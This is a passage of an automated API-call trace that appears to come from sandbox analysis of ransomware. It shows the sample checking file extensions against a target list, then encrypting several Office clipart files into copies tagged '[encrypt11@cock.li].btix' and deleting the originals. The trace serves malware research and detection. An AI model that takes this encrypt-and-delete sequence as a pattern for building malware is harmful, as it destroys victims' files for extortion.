lpString2=".p7b") returned 1 [0147.173] lstrlenW (lpString=".xlsx") returned 5 [0147.173] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0147.173] lstrlenW (lpString=".ppt") returned 4 [0147.173] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0147.173] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.173] lstrlenW (lpString=".zip") returned 4 [0147.173] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0147.173] lstrlenW (lpString=".rar") returned 4 [0147.173] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0147.173] lstrlenW (lpString=".bz2") returned 4 [0147.173] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0147.173] lstrlenW (lpString=".7z") returned 3 [0147.173] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0147.173] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.173] lstrlenW (lpString=".dbf") returned 4 [0147.173] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0147.173] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.173] lstrlenW (lpString=".1cd") returned 4 [0147.173] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0147.173] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.173] lstrlenW (lpString=".jpg") returned 4 [0147.173] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0147.173] Sleep (dwMilliseconds=0x64) [0147.639] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.639] lstrlenW (lpString="HH00334_.WMF") returned 12 [0147.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.639] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=1528) returned 1 [0147.639] CloseHandle (hObject=0x38c) returned 1 [0147.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0147.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.639] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.639] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.640] GetLastError () returned 0x0 [0147.640] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0147.645] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x600, lpOverlapped=0x0) returned 1 [0147.646] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.646] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.646] SetEndOfFile (hFile=0x390) returned 1 [0147.646] CloseHandle (hObject=0x390) returned 1 [0147.646] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.646] SetEndOfFile (hFile=0x38c) returned 1 [0147.647] CloseHandle (hObject=0x38c) returned 1 [0147.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString=".doc") returned 4 [0147.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString=".docx") returned 5 [0147.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.648] lstrlenW (lpString=".pdf") returned 4 [0147.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString=".xls") returned 4 [0147.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.648] lstrlenW (lpString=".xlsx") returned 5 [0147.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.648] lstrlenW (lpString=".ppt") returned 4 [0147.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString=".zip") returned 4 [0147.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.648] lstrlenW (lpString=".rar") returned 4 [0147.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString=".bz2") returned 4 [0147.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString=".7z") returned 3 [0147.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString=".dbf") returned 4 [0147.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString=".1cd") returned 4 [0147.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString=".jpg") returned 4 [0147.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.649] lstrlenW (lpString=".doc") returned 4 [0147.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString=".docx") returned 5 [0147.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.649] lstrlenW (lpString=".pdf") returned 4 [0147.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString=".xls") returned 4 [0147.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.649] lstrlenW (lpString=".xlsx") returned 5 [0147.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.649] lstrlenW (lpString=".ppt") returned 4 [0147.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.649] lstrlenW (lpString=".zip") returned 4 [0147.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.649] lstrlenW (lpString=".rar") returned 4 [0147.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString=".bz2") returned 4 [0147.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString=".7z") returned 3 [0147.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.649] lstrlenW (lpString=".dbf") returned 4 [0147.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.649] lstrlenW (lpString=".1cd") returned 4 [0147.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0147.649] lstrlenW (lpString=".jpg") returned 4 [0147.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.649] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.649] lstrlenW (lpString="HH00443_.WMF") returned 12 [0147.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.650] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=3298) returned 1 [0147.650] CloseHandle (hObject=0x38c) returned 1 [0147.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220 [0147.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.650] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.650] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.651] GetLastError () returned 0x0 [0147.651] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xce2, lpOverlapped=0x0) returned 1 [0147.651] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0147.652] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.652] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.652] SetEndOfFile (hFile=0x390) returned 1 [0147.653] CloseHandle (hObject=0x390) returned 1 [0147.653] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.653] SetEndOfFile (hFile=0x38c) returned 1 [0147.653] CloseHandle (hObject=0x38c) returned 1 [0147.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0147.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.654] lstrlenW (lpString=".doc") returned 4 [0147.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.654] lstrlenW (lpString=".docx") returned 5 [0147.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.654] lstrlenW (lpString=".pdf") returned 4 [0147.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.654] lstrlenW (lpString=".xls") returned 4 [0147.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.654] lstrlenW (lpString=".xlsx") returned 5 [0147.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.654] lstrlenW (lpString=".ppt") returned 4 [0147.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.654] lstrlenW (lpString=".zip") returned 4 [0147.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.654] lstrlenW (lpString=".rar") returned 4 [0147.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.654] lstrlenW (lpString=".bz2") returned 4 [0147.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.654] lstrlenW (lpString=".7z") returned 3 [0147.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.654] lstrlenW (lpString=".dbf") returned 4 [0147.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString=".1cd") returned 4 [0147.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString=".jpg") returned 4 [0147.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString=".doc") returned 4 [0147.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString=".docx") returned 5 [0147.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.655] lstrlenW (lpString=".pdf") returned 4 [0147.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString=".xls") returned 4 [0147.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.655] lstrlenW (lpString=".xlsx") returned 5 [0147.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.655] lstrlenW (lpString=".ppt") returned 4 [0147.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString=".zip") returned 4 [0147.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.655] lstrlenW (lpString=".rar") returned 4 [0147.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString=".bz2") returned 4 [0147.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString=".7z") returned 3 [0147.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString=".dbf") returned 4 [0147.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.655] lstrlenW (lpString=".1cd") returned 4 [0147.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68 [0147.656] lstrlenW (lpString=".jpg") returned 4 [0147.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.656] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.656] lstrlenW (lpString="HH00513_.WMF") returned 12 [0147.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.656] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=818) returned 1 [0147.656] CloseHandle (hObject=0x38c) returned 1 [0147.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0147.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.656] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.656] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.657] GetLastError () returned 0x0 [0147.657] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x332, lpOverlapped=0x0) returned 1 [0147.658] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x340, lpOverlapped=0x0) returned 1 [0147.658] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.658] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.659] SetEndOfFile (hFile=0x390) returned 1 [0147.659] CloseHandle (hObject=0x390) returned 1 [0147.659] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.659] SetEndOfFile (hFile=0x38c) returned 1 [0147.659] CloseHandle (hObject=0x38c) returned 1 [0147.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.660] lstrlenW (lpString=".doc") returned 4 [0147.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString=".docx") returned 5 [0147.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.660] lstrlenW (lpString=".pdf") returned 4 [0147.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString=".xls") returned 4 [0147.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.660] lstrlenW (lpString=".xlsx") returned 5 [0147.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.660] lstrlenW (lpString=".ppt") returned 4 [0147.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.660] lstrlenW (lpString=".zip") returned 4 [0147.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.661] lstrlenW (lpString=".rar") returned 4 [0147.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".bz2") returned 4 [0147.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".7z") returned 3 [0147.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.661] lstrlenW (lpString=".dbf") returned 4 [0147.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.661] lstrlenW (lpString=".1cd") returned 4 [0147.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.661] lstrlenW (lpString=".jpg") returned 4 [0147.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.661] lstrlenW (lpString=".doc") returned 4 [0147.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".docx") returned 5 [0147.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.661] lstrlenW (lpString=".pdf") returned 4 [0147.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString=".xls") returned 4 [0147.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.661] lstrlenW (lpString=".xlsx") returned 5 [0147.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.661] lstrlenW (lpString=".ppt") returned 4 [0147.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0147.661] lstrlenW (lpString=".zip") returned 4 [0147.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.661] lstrlenW (lpString=".rar") returned 4 [0147.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.662] lstrlenW (lpString=".bz2") 